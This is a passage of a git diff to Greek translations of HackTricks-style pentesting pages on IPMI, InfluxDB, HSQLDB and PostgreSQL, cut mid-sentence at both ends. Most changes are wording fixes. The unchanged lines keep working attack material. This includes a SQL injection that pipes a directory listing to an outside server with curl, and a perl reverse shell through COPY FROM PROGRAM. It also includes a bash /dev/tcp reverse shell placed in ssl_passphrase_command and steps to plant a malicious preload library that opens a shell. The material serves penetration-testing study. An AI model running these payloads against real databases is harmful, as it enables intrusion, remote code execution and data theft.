παραβιασμένο host και την ενεργοποίηση της υποστήριξης οδηγού BMC. Οι παρακάτω εντολές απεικονίζουν πώς μπορεί να εισαχθεί ένας νέος λογαριασμός χρήστη στο BMC χρησιμοποιώντας τη τοπική διεπαφή του host, παρακάμπτοντας την ανάγκη για αυθεντικοποίηση. Αυτή η τεχνική είναι εφαρμόσιμη σε ένα ευρύ φάσμα λειτουργικών συστημάτων, συμπεριλαμβανομένων των Linux, Windows, BSD και ακόμη και DOS. ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit @@ -115,7 +113,7 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit - `port:623` -## Αναφορές +## References - [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md index 8650d5014..268dda3b3 100644 --- a/src/network-services-pentesting/8086-pentesting-influxdb.md +++ b/src/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,24 +1,23 @@ # 8086 - Pentesting InfluxDB - {{#include ../banners/hacktricks-training.md}} ## Basic Information -**InfluxDB** είναι μια ανοιχτού κώδικα **βάση δεδομένων χρονοσειρών (TSDB)** που αναπτύχθηκε από την InfluxData. Οι TSDB είναι βελτιστοποιημένες για την αποθήκευση και την εξυπηρέτηση δεδομένων χρονοσειρών, τα οποία αποτελούνται από ζεύγη χρονικής σήμανσης-τιμής. Σε σύγκριση με τις βάσεις δεδομένων γενικής χρήσης, οι TSDB προσφέρουν σημαντικές βελτιώσεις στον **χώρο αποθήκευσης** και στην **απόδοση** για σύνολα δεδομένων χρονοσειρών. Χρησιμοποιούν εξειδικευμένους αλγόριθμους συμπίεσης και μπορούν να ρυθμιστούν ώστε να αφαιρούν αυτόματα παλιά δεδομένα. Οι εξειδικευμένοι δείκτες βάσεων δεδομένων βελτιώνουν επίσης την απόδοση των ερωτημάτων. +**InfluxDB** είναι μια ανοιχτού κώδικα **βάση δεδομένων χρονικών σειρών (TSDB)** που αναπτύχθηκε από την InfluxData. Οι TSDB είναι βελτιστοποιημένες για την αποθήκευση και την εξυπηρέτηση δεδομένων χρονικών σειρών, τα οποία αποτελούνται από ζεύγη χρονικής σήμανσης-τιμής. Σε σύγκριση με τις βάσεις δεδομένων γενικής χρήσης, οι TSDB παρέχουν σημαντικές βελτιώσεις στον **χώρο αποθήκευσης** και στην **απόδοση** για σύνολα δεδομένων χρονικών σειρών. Χρησιμοποιούν εξειδικευμένους αλγόριθμους συμπίεσης και μπορούν να ρυθμιστούν ώστε να αφαιρούν αυτόματα παλιά δεδομένα. Οι εξειδικευμένοι δείκτες βάσεων δεδομένων βελτιώνουν επίσης την απόδοση των ερωτημάτων. **Προεπιλεγμένη θύρα**: 8086 ``` PORT STATE SERVICE VERSION 8086/tcp open http InfluxDB http admin 1.7.5 ``` -## Αριθμητική +## Enumeration Από την οπτική γωνία ενός pentester, αυτή είναι μια άλλη βάση δεδομένων που θα μπορούσε να αποθηκεύει ευαίσθητες πληροφορίες, οπότε είναι ενδιαφέρον να γνωρίζουμε πώς να εξάγουμε όλες τις πληροφορίες. -### Αυθεντικοποίηση +### Authentication -Η InfluxDB μπορεί να απαιτεί αυθεντικοποίηση ή όχι. +Το InfluxDB μπορεί να απαιτεί αυθεντικοποίηση ή όχι. ```bash # Try unauthenticated influx -host 'host name' -port 'port #' @@ -47,7 +46,7 @@ _internal ``` #### Εμφάνιση πινάκων/μετρήσεων -Η [**τεκμηρίωση InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) εξηγεί ότι οι **μετρήσεις** στο InfluxDB μπορούν να παραλληλιστούν με τους πίνακες SQL. Η ονοματολογία αυτών των **μετρήσεων** είναι ενδεικτική του αντίστοιχου περιεχομένου τους, κάθε μία φιλοξενεί δεδομένα που σχετίζονται με μια συγκεκριμένη οντότητα. +Η [**τεκμηρίωση InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) εξηγεί ότι οι **μετρήσεις** στο InfluxDB μπορούν να παραλληλιστούν με τους πίνακες SQL. Η ονοματολογία αυτών των **μετρήσεων** είναι ενδεικτική του αντίστοιχου περιεχομένου τους, κάθε μία φιλοξενεί δεδομένα σχετικά με μια συγκεκριμένη οντότητα. ```bash > show measurements name: measurements @@ -87,7 +86,7 @@ inodes_used integer ``` #### Dump Table -Και τελικά μπορείτε να **εκτελέσετε dump τον πίνακα** κάνοντας κάτι όπως +Και τελικά μπορείτε να **dump the table** κάνοντας κάτι σαν ```bash select * from cpu name: cpu @@ -97,7 +96,7 @@ time cpu host usage_guest usage_guest_nice usage_idle 1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101 ``` > [!WARNING] -> Σε κάποιες δοκιμές με την παράκαμψη της αυθεντικοποίησης παρατηρήθηκε ότι το όνομα του πίνακα έπρεπε να είναι μέσα σε διπλά εισαγωγικά όπως: `select * from "cpu"` +> Σε κάποιες δοκιμές με την παράκαμψη αυθεντικοποίησης παρατηρήθηκε ότι το όνομα του πίνακα έπρεπε να είναι μέσα σε διπλά εισαγωγικά όπως: `select * from "cpu"` ### Αυτοματοποιημένη Αυθεντικοποίηση ```bash diff --git a/src/network-services-pentesting/9001-pentesting-hsqldb.md b/src/network-services-pentesting/9001-pentesting-hsqldb.md index 574e34556..3423ad158 100644 --- a/src/network-services-pentesting/9001-pentesting-hsqldb.md +++ b/src/network-services-pentesting/9001-pentesting-hsqldb.md @@ -1,18 +1,18 @@ +# 9001 - Pentesting HSQLDB + {{#include ../banners/hacktricks-training.md}} -# Βασικές Πληροφορίες +## Basic Information **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** είναι το κορυφαίο σύστημα σχεσιακής βάσης δεδομένων SQL που έχει γραφτεί σε Java. Προσφέρει μια μικρή, γρήγορη, πολυνηματική και συναλλαγματική μηχανή βάσης δεδομένων με πίνακες μνήμης και δίσκου και υποστηρίζει ενσωματωμένες και διακομιστικές λειτουργίες. -**Προεπιλεγμένη θύρα:** 9001 +**Default port:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` -# Πληροφορίες +## Προεπιλεγμένες Ρυθμίσεις -### Προεπιλεγμένες Ρυθμίσεις - -Σημειώστε ότι από προεπιλογή αυτή η υπηρεσία πιθανώς εκτελείται στη μνήμη ή είναι συνδεδεμένη στο localhost. Αν το βρήκατε, πιθανώς εκμεταλλευτήκατε μια άλλη υπηρεσία και ψάχνετε να αναβαθμίσετε τα δικαιώματα. +Σημειώστε ότι από προεπιλογή αυτή η υπηρεσία πιθανώς εκτελείται στη μνήμη ή είναι συνδεδεμένη με το localhost. Αν την βρήκατε, πιθανώς εκμεταλλευτήκατε μια άλλη υπηρεσία και ψάχνετε να κλιμακώσετε τα δικαιώματα. Οι προεπιλεγμένες διαπιστεύσεις είναι συνήθως `sa` με κενό κωδικό πρόσβασης. @@ -22,23 +22,23 @@ grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` Σημειώστε προσεκτικά το όνομα της βάσης δεδομένων - θα το χρειαστείτε για να συνδεθείτε. -# Συλλογή Πληροφοριών +## Συλλογή Πληροφοριών Συνδεθείτε στην DB instance κατεβάζοντας [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) και εξάγοντας το `hsqldb/lib/hsqldb.jar`. Εκτελέστε την εφαρμογή GUI \(eww\) χρησιμοποιώντας `java -jar hsqldb.jar` και συνδεθείτε στην instance χρησιμοποιώντας τα ανακαλυφθέντα/αδύναμα διαπιστευτήρια. -Σημειώστε ότι το URL σύνδεσης θα μοιάζει κάπως έτσι για ένα απομακρυσμένο σύστημα: `jdbc:hsqldb:hsql://ip/DBNAME`. +Σημειώστε ότι η διεύθυνση URL σύνδεσης θα μοιάζει κάπως έτσι για ένα απομακρυσμένο σύστημα: `jdbc:hsqldb:hsql://ip/DBNAME`. -# Τεχνάσματα +## Τεχνάσματα -## Ρουτίνες Γλώσσας Java +### Ρoutines Γλώσσας Java -Μπορούμε να καλέσουμε στατικές μεθόδους μιας κλάσης Java από το HSQLDB χρησιμοποιώντας Ρουτίνες Γλώσσας Java. Σημειώστε ότι η καλούμενη κλάση πρέπει να είναι στο classpath της εφαρμογής. +Μπορούμε να καλέσουμε στατικές μεθόδους μιας κλάσης Java από το HSQLDB χρησιμοποιώντας Ρoutines Γλώσσας Java. Σημειώστε ότι η καλούμενη κλάση πρέπει να είναι στο classpath της εφαρμογής. -Οι JRTs μπορούν να είναι `functions` ή `procedures`. Οι συναρτήσεις μπορούν να καλούνται μέσω SQL δηλώσεων αν η μέθοδος Java επιστρέφει μία ή περισσότερες SQL-συμβατές πρωτότυπες μεταβλητές. Καλούνται χρησιμοποιώντας τη δήλωση `VALUES`. +Οι JRTs μπορούν να είναι `functions` ή `procedures`. Οι συναρτήσεις μπορούν να καλούνται μέσω SQL δηλώσεων αν η μέθοδος Java επιστρέφει μία ή περισσότερες SQL-συμβατές πρωτότυπες μεταβλητές. Ενεργοποιούνται χρησιμοποιώντας τη δήλωση `VALUES`. -Αν η μέθοδος Java που θέλουμε να καλέσουμε επιστρέφει void, πρέπει να χρησιμοποιήσουμε μια διαδικασία που καλείται με τη δήλωση `CALL`. +Αν η μέθοδος Java που θέλουμε να καλέσουμε επιστρέφει void, πρέπει να χρησιμοποιήσουμε μια διαδικασία που ενεργοποιείται με τη δήλωση `CALL`. -## Ανάγνωση Ιδιοτήτων Συστήματος Java +### Ανάγνωση Ιδιοτήτων Συστήματος Java Δημιουργήστε συνάρτηση: ```text @@ -52,9 +52,9 @@ VALUES(getsystemproperty('user.name')) ``` Μπορείτε να βρείτε μια [λίστα με τις ιδιότητες του συστήματος εδώ](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). -## Γράψτε Περιεχόμενο σε Αρχείο +### Γράψτε Περιεχόμενο σε Αρχείο -Μπορείτε να χρησιμοποιήσετε το `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget που βρίσκεται στο JDK \(αυτόματα φορτωμένο στο class path της εφαρμογής\) για να γράψετε hex-encoded αντικείμενα στον δίσκο μέσω μιας προσαρμοσμένης διαδικασίας. **Σημειώστε το μέγιστο μέγεθος των 1024 bytes**. +Μπορείτε να χρησιμοποιήσετε το `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget που βρίσκεται στο JDK \(αυτόματα φορτωμένο στο class path της εφαρμογής\) για να γράψετε hex-encoded στοιχεία στον δίσκο μέσω μιας προσαρμοσμένης διαδικασίας. **Σημειώστε το μέγιστο μέγεθος των 1024 bytes**. Δημιουργήστε διαδικασία: ```text diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index a699ffdc0..acfe4ecf5 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -1,11 +1,10 @@ # 5432,5433 - Pentesting Postgresql - {{#include ../banners/hacktricks-training.md}} ## **Βασικές Πληροφορίες** -**PostgreSQL** περιγράφεται ως ένα **σύστημα αντικειμενοστραφούς βάσης δεδομένων** που είναι **ανοιχτού κώδικα**. Αυτό το σύστημα όχι μόνο χρησιμοποιεί τη γλώσσα SQL αλλά την ενισχύει επίσης με επιπλέον χαρακτηριστικά. Οι δυνατότητές του του επιτρέπουν να διαχειρίζεται ένα ευρύ φάσμα τύπων δεδομένων και λειτουργιών, καθιστώντας το μια ευέλικτη επιλογή για προγραμματιστές και οργανισμούς. +**PostgreSQL** περιγράφεται ως ένα **σύστημα βάσης δεδομένων αντικειμένων-σχεσιακής** που είναι **ανοιχτού κώδικα**. Αυτό το σύστημα όχι μόνο χρησιμοποιεί τη γλώσσα SQL αλλά την ενισχύει επίσης με επιπλέον χαρακτηριστικά. Οι δυνατότητές του του επιτρέπουν να διαχειρίζεται ένα ευρύ φάσμα τύπων δεδομένων και λειτουργιών, καθιστώντας το μια ευέλικτη επιλογή για προγραμματιστές και οργανισμούς. **Προεπιλεγμένη θύρα:** 5432, και αν αυτή η θύρα είναι ήδη σε χρήση φαίνεται ότι το postgresql θα χρησιμοποιήσει την επόμενη θύρα (πιθανώς 5433) που δεν είναι σε χρήση. ``` @@ -110,15 +109,15 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? | Τύποι Ρόλων | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -| rolsuper | Ο ρόλος έχει δικαιώματα superuser | -| rolinherit | Ο ρόλος κληρονομεί αυτόματα τα δικαιώματα των ρόλων των οποίων είναι μέλος | +| rolsuper | Ο ρόλος έχει προνόμια superuser | +| rolinherit | Ο ρόλος κληρονομεί αυτόματα τα προνόμια των ρόλων των οποίων είναι μέλος | | rolcreaterole | Ο ρόλος μπορεί να δημιουργήσει περισσότερους ρόλους | -| rolcreatedb | Ο ρόλος μπορεί να δημιουργήσει βάσεις δεδομένων | -| rolcanlogin | Ο ρόλος μπορεί να συνδεθεί. Δηλαδή, αυτός ο ρόλος μπορεί να δοθεί ως ο αρχικός αναγνωριστικός δείκτης εξουσιοδότησης της συνεδρίας | +| rolcreatedb | Ο ρόλος μπορεί να δημιουργήσει βάσεις δεδομένων | +| rolcanlogin | Ο ρόλος μπορεί να συνδεθεί. Δηλαδή, αυτός ο ρόλος μπορεί να δοθεί ως ο αρχικός αναγνωριστικός δείκτης εξουσιοδότησης συνεδρίας | | rolreplication | Ο ρόλος είναι ρόλος αναπαραγωγής. Ένας ρόλος αναπαραγωγής μπορεί να ξεκινήσει συνδέσεις αναπαραγωγής και να δημιουργήσει και να διαγράψει θέσεις αναπαραγωγής. | | rolconnlimit | Για ρόλους που μπορούν να συνδεθούν, αυτό ορίζει τον μέγιστο αριθμό ταυτόχρονων συνδέσεων που μπορεί να κάνει αυτός ο ρόλος. -1 σημαίνει χωρίς όριο. | -| rolpassword | Όχι ο κωδικός πρόσβασης (διαβάζεται πάντα ως `********`) | -| rolvaliduntil | Χρόνος λήξης κωδικού πρόσβασης (χρησιμοποιείται μόνο για την αυθεντικοποίηση κωδικού πρόσβασης); null αν δεν υπάρχει λήξη | +| rolpassword | Όχι ο κωδικός πρόσβασης (διαβάζεται πάντα ως `********`) | +| rolvaliduntil | Χρόνος λήξης κωδικού πρόσβασης (χρησιμοποιείται μόνο για την αυθεντικοποίηση κωδικού πρόσβασης); null αν δεν υπάρχει λήξη | | rolbypassrls | Ο ρόλος παρακάμπτει κάθε πολιτική ασφαλείας σε επίπεδο γραμμής, δείτε [Ενότητα 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) για περισσότερες πληροφορίες. | | rolconfig | Προεπιλεγμένες ρυθμίσεις συγκεκριμένες για τον ρόλο για μεταβλητές ρύθμισης χρόνου εκτέλεσης | | oid | ID του ρόλου | @@ -129,7 +128,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? - Αν είστε μέλος του **`pg_read_server_files`** μπορείτε να **διαβάζετε** αρχεία - Αν είστε μέλος του **`pg_write_server_files`** μπορείτε να **γράφετε** αρχεία -> [!NOTE] +> [!TIP] > Σημειώστε ότι στο Postgres ένας **χρήστης**, μια **ομάδα** και ένας **ρόλος** είναι το **ίδιο**. Εξαρτάται απλώς από **το πώς το χρησιμοποιείτε** και αν **επιτρέπετε να συνδεθεί**. ```sql # Get users roles @@ -220,7 +219,7 @@ COPY demo from '/etc/passwd'; SELECT * FROM demo; ``` > [!WARNING] -> Θυμηθείτε ότι αν δεν είστε υπερχρήστης αλλά έχετε τα δικαιώματα **CREATEROLE** μπορείτε να **γίνετε μέλος αυτής της ομάδας:** +> Θυμηθείτε ότι αν δεν είστε υπερ-χρήστης αλλά έχετε τα δικαιώματα **CREATEROLE** μπορείτε να **γίνετε μέλος αυτής της ομάδας:** > > ```sql > GRANT pg_read_server_files TO username; @@ -228,7 +227,7 @@ SELECT * FROM demo; > > [**Περισσότερες πληροφορίες.**](pentesting-postgresql.md#privilege-escalation-with-createrole) -Υπάρχουν **άλλες συναρτήσεις postgres** που μπορούν να χρησιμοποιηθούν για **να διαβάσουν ένα αρχείο ή να καταγράψουν έναν κατάλογο**. Μόνο **υπερχρήστες** και **χρήστες με ρητές άδειες** μπορούν να τις χρησιμοποιήσουν: +Υπάρχουν **άλλες συναρτήσεις postgres** που μπορούν να χρησιμοποιηθούν για **να διαβάσουν ένα αρχείο ή να καταγράψουν έναν κατάλογο**. Μόνο **υπερ-χρήστες** και **χρήστες με ρητές άδειες** μπορούν να τις χρησιμοποιήσουν: ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres @@ -294,7 +293,7 @@ copy (select convert_from(decode('','base64'),'utf-8')) to '/ju SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` -**Σημείωση:** Αν δεν μπορείτε να ανακτήσετε την τρέχουσα διαδρομή του καταλόγου δεδομένων από τις ρυθμίσεις, μπορείτε να ερωτήσετε την κύρια έκδοση PostgreSQL μέσω του ερωτήματος `SELECT version()` και να προσπαθήσετε να βρείτε τη διαδρομή με brute-force. Κοινές διαδρομές καταλόγου δεδομένων σε εγκαταστάσεις Unix του PostgreSQL είναι `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Ένα κοινό όνομα κλάσσης είναι `main`. +**Σημείωση:** Αν δεν μπορείτε να ανακτήσετε την τρέχουσα διαδρομή του καταλόγου δεδομένων από τις ρυθμίσεις, μπορείτε να ερωτήσετε την κύρια έκδοση PostgreSQL μέσω του ερωτήματος `SELECT version()` και να προσπαθήσετε να βρείτε τη διαδρομή με brute-force. Κοινές διαδρομές καταλόγου δεδομένων σε εγκαταστάσεις Unix του PostgreSQL είναι `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Ένα κοινό όνομα κλάσματος είναι `main`. 2. Αποκτήστε μια σχετική διαδρομή προς τον κόμβο αρχείου, που σχετίζεται με τον στόχο πίνακα @@ -338,7 +337,7 @@ WHERE pg_class.relname = '{TABLE_NAME}'; python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` -![Demo του PostgreSQL Filenode Editor](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) +![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) 6. Επαναφορτώστε τον επεξεργασμένο κόμβο αρχείου μέσω των συναρτήσεων `lo_*`, και επικαλύψτε το αρχικό αρχείο στον δίσκο @@ -365,7 +364,7 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` -Παράδειγμα για εκτέλεση: +Παράδειγμα για exec: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; @@ -379,7 +378,7 @@ DROP TABLE IF EXISTS cmd_exec; COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` > [!WARNING] -> Θυμηθείτε ότι αν δεν είστε υπερ-χρήστης αλλά έχετε τα δικαιώματα **`CREATEROLE`** μπορείτε να **γίνετε μέλος αυτής της ομάδας:** +> Θυμηθείτε ότι αν δεν είστε υπερ-χρήστης αλλά έχετε τα δικαιώματα **`CREATEROLE`**, μπορείτε να **γίνετε μέλος αυτής της ομάδας:** > > ```sql > GRANT pg_execute_server_program TO username; @@ -388,9 +387,9 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I > [**Περισσότερες πληροφορίες.**](pentesting-postgresql.md#privilege-escalation-with-createrole) Ή χρησιμοποιήστε το module `multi/postgres/postgres_copy_from_program_cmd_exec` από το **metasploit**.\ -Περισσότερες πληροφορίες σχετικά με αυτή την ευπάθεια [**εδώ**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Ενώ αναφέρθηκε ως CVE-2019-9193, το Postges δήλωσε ότι αυτό ήταν [χαρακτηριστικό και δεν θα διορθωθεί](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). +Περισσότερες πληροφορίες σχετικά με αυτή την ευπάθεια [**εδώ**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Ενώ αναφέρθηκε ως CVE-2019-9193, το Postgres δήλωσε ότι αυτό ήταν [χαρακτηριστικό και δεν θα διορθωθεί](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). -### RCE με PostgreSQL Γλώσσες +### RCE με γλώσσες PostgreSQL {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md @@ -398,7 +397,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I ### RCE με επεκτάσεις PostgreSQL -Αφού έχετε **μάθει** από την προηγούμενη ανάρτηση **πώς να ανεβάσετε δυαδικά αρχεία** μπορείτε να προσπαθήσετε να αποκτήσετε **RCE ανεβάζοντας μια επέκταση postgresql και φορτώνοντάς την**. +Αφού έχετε **μάθει** από την προηγούμενη ανάρτηση **πώς να ανεβάσετε δυαδικά αρχεία**, μπορείτε να προσπαθήσετε να αποκτήσετε **RCE ανεβάζοντας μια επέκταση postgresql και φορτώνοντάς την**. {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -406,36 +405,36 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I ### RCE με το αρχείο ρυθμίσεων PostgreSQL -> [!NOTE] +> [!TIP] > Οι παρακάτω RCE διανύσματα είναι ιδιαίτερα χρήσιμα σε περιορισμένα SQLi συμφραζόμενα, καθώς όλα τα βήματα μπορούν να εκτελούνται μέσω εσωτερικών δηλώσεων SELECT -Το **αρχείο ρυθμίσεων** του PostgreSQL είναι **γραμμένο** από τον **χρήστη postgres**, ο οποίος είναι αυτός που εκτελεί τη βάση δεδομένων, οπότε ως **υπερ-χρήστης**, μπορείτε να γράψετε αρχεία στο σύστημα αρχείων, και επομένως μπορείτε να **επικαλύψετε αυτό το αρχείο.** +Το **αρχείο ρυθμίσεων** του PostgreSQL είναι **γραπτό** από τον **χρήστη postgres**, ο οποίος είναι αυτός που εκτελεί τη βάση δεδομένων, οπότε ως **υπερ-χρήστης**, μπορείτε να γράψετε αρχεία στο σύστημα αρχείων, και επομένως μπορείτε να **επικαλύψετε αυτό το αρχείο.** ![](<../images/image (322).png>) #### **RCE με ssl_passphrase_command** -Περισσότερες πληροφορίες [σχετικά με αυτή την τεχνική εδώ](https://pulsesecurity.co.nz/articles/postgres-sqli). +Περισσότερες πληροφορίες [για αυτή την τεχνική εδώ](https://pulsesecurity.co.nz/articles/postgres-sqli). Το αρχείο ρυθμίσεων έχει μερικά ενδιαφέροντα χαρακτηριστικά που μπορούν να οδηγήσουν σε RCE: - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Διαδρομή προς το ιδιωτικό κλειδί της βάσης δεδομένων -- `ssl_passphrase_command = ''` Αν το ιδιωτικό αρχείο είναι προστατευμένο με κωδικό (κρυπτογραφημένο) το postgresql θα **εκτελέσει την εντολή που υποδεικνύεται σε αυτό το χαρακτηριστικό**. -- `ssl_passphrase_command_supports_reload = off` **Αν** αυτό το χαρακτηριστικό είναι **ενεργό** η **εντολή** που εκτελείται αν το κλειδί είναι προστατευμένο με κωδικό **θα εκτελείται** όταν εκτελείται το `pg_reload_conf()`. +- `ssl_passphrase_command = ''` Αν το ιδιωτικό αρχείο είναι προστατευμένο με κωδικό (κρυπτογραφημένο), το postgresql θα **εκτελέσει την εντολή που υποδεικνύεται σε αυτό το χαρακτηριστικό**. +- `ssl_passphrase_command_supports_reload = off` **Αν** αυτό το χαρακτηριστικό είναι **ενεργό**, η **εντολή** που εκτελείται αν το κλειδί είναι προστατευμένο με κωδικό **θα εκτελείται** όταν εκτελείται το `pg_reload_conf()`. -Έτσι, ένας επιτιθέμενος θα χρειαστεί να: +Στη συνέχεια, ένας επιτιθέμενος θα χρειαστεί να: 1. **Εξάγει το ιδιωτικό κλειδί** από τον διακομιστή 2. **Κρυπτογραφήσει** το κατεβασμένο ιδιωτικό κλειδί: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Επικαλύψει** 4. **Εξάγει** την τρέχουσα **ρύθμιση** του postgresql -5. **Επικαλύψει** την **ρύθμιση** με την αναφερόμενη ρύθμιση χαρακτηριστικών: +5. **Επικαλύψει** την **ρύθμιση** με τις αναφερόμενες ρυθμίσεις: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. Εκτελέστε `pg_reload_conf()` -Κατά τη διάρκεια της δοκιμής αυτού παρατήρησα ότι αυτό θα λειτουργήσει μόνο αν το **ιδιωτικό αρχείο κλειδιού έχει δικαιώματα 640**, είναι **κατοχυρωμένο από τον root** και από την **ομάδα ssl-cert ή postgres** (έτσι ώστε ο χρήστης postgres να μπορεί να το διαβάσει), και είναι τοποθετημένο στο _/var/lib/postgresql/12/main_. +Κατά τη διάρκεια της δοκιμής αυτού, παρατήρησα ότι αυτό θα λειτουργήσει μόνο αν το **ιδιωτικό αρχείο κλειδιού έχει δικαιώματα 640**, είναι **κατοχυρωμένο με root** και από την **ομάδα ssl-cert ή postgres** (έτσι ώστε ο χρήστης postgres να μπορεί να το διαβάσει), και είναι τοποθετημένο στο _/var/lib/postgresql/12/main_. #### **RCE με archive_command** @@ -454,14 +453,14 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I #### **RCE με βιβλιοθήκες προφόρτωσης** -Περισσότερες πληροφορίες [σχετικά με αυτή την τεχνική εδώ](https://adeadfed.com/posts/postgresql-select-only-rce/). +Περισσότερες πληροφορίες [για αυτή την τεχνική εδώ](https://adeadfed.com/posts/postgresql-select-only-rce/). -Αυτή η επιθετική διαδρομή εκμεταλλεύεται τις παρακάτω ρυθμιστικές μεταβλητές: +Αυτό το διανύσμα επίθεσης εκμεταλλεύεται τις παρακάτω ρυθμίσεις: - `session_preload_libraries` -- βιβλιοθήκες που θα φορτωθούν από τον διακομιστή PostgreSQL κατά τη σύνδεση του πελάτη. - `dynamic_library_path` -- λίστα καταλόγων όπου ο διακομιστής PostgreSQL θα αναζητήσει τις βιβλιοθήκες. -Μπορούμε να ορίσουμε την τιμή `dynamic_library_path` σε έναν κατάλογο, που είναι εγγράψιμος από τον χρήστη `postgres` που εκτελεί τη βάση δεδομένων, π.χ., κατάλογο `/tmp/`, και να ανεβάσουμε ένα κακόβουλο αντικείμενο `.so` εκεί. Στη συνέχεια, θα αναγκάσουμε τον διακομιστή PostgreSQL να φορτώσει τη νέα μας βιβλιοθήκη συμπεριλαμβάνοντάς την στη μεταβλητή `session_preload_libraries`. +Μπορούμε να ορίσουμε την τιμή `dynamic_library_path` σε έναν κατάλογο, που είναι εγγράψιμος από τον χρήστη `postgres` που εκτελεί τη βάση δεδομένων, π.χ., στον κατάλογο `/tmp/`, και να ανεβάσουμε ένα κακόβουλο αντικείμενο `.so` εκεί. Στη συνέχεια, θα αναγκάσουμε τον διακομιστή PostgreSQL να φορτώσει τη νέα μας βιβλιοθήκη περιλαμβάνοντάς την στη μεταβλητή `session_preload_libraries`. Τα βήματα της επίθεσης είναι: @@ -469,7 +468,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I 2. Συμπεριλάβετε τον κατάλογο `/tmp/` στην τιμή `dynamic_library_path`, π.χ. `dynamic_library_path = '/tmp:$libdir'` 3. Συμπεριλάβετε το όνομα της κακόβουλης βιβλιοθήκης στην τιμή `session_preload_libraries`, π.χ. `session_preload_libraries = 'payload.so'` 4. Ελέγξτε την κύρια έκδοση PostgreSQL μέσω του ερωτήματος `SELECT version()` -5. Συγκεντρώστε τον κωδικό της κακόβουλης βιβλιοθήκης με το σωστό πακέτο ανάπτυξης PostgreSQL Δείγμα κώδικα: +5. Συμπιέστε τον κωδικό της κακόβουλης βιβλιοθήκης με το σωστό πακέτο ανάπτυξης PostgreSQL Δείγμα κώδικα: ```c #include @@ -510,7 +509,7 @@ execve("/bin/bash", argv, NULL); } ``` -Συγκεντρώνοντας τον κώδικα: +Συμπιέζοντας τον κώδικα: ```bash gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c @@ -519,7 +518,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so 6. Ανεβάστε το κακόβουλο `postgresql.conf`, που δημιουργήθηκε στα βήματα 2-3, και επικαλύψτε το αρχικό 7. Ανεβάστε το `payload.so` από το βήμα 5 στον κατάλογο `/tmp` 8. Επαναφορτώστε τη ρύθμιση του διακομιστή επανεκκινώντας τον διακομιστή ή καλώντας το ερώτημα `SELECT pg_reload_conf()` -9. Στην επόμενη σύνδεση DB, θα λάβετε τη σύνδεση αντίστροφης θήκης. +9. Στη επόμενη σύνδεση DB, θα λάβετε τη σύνδεση αντίστροφης 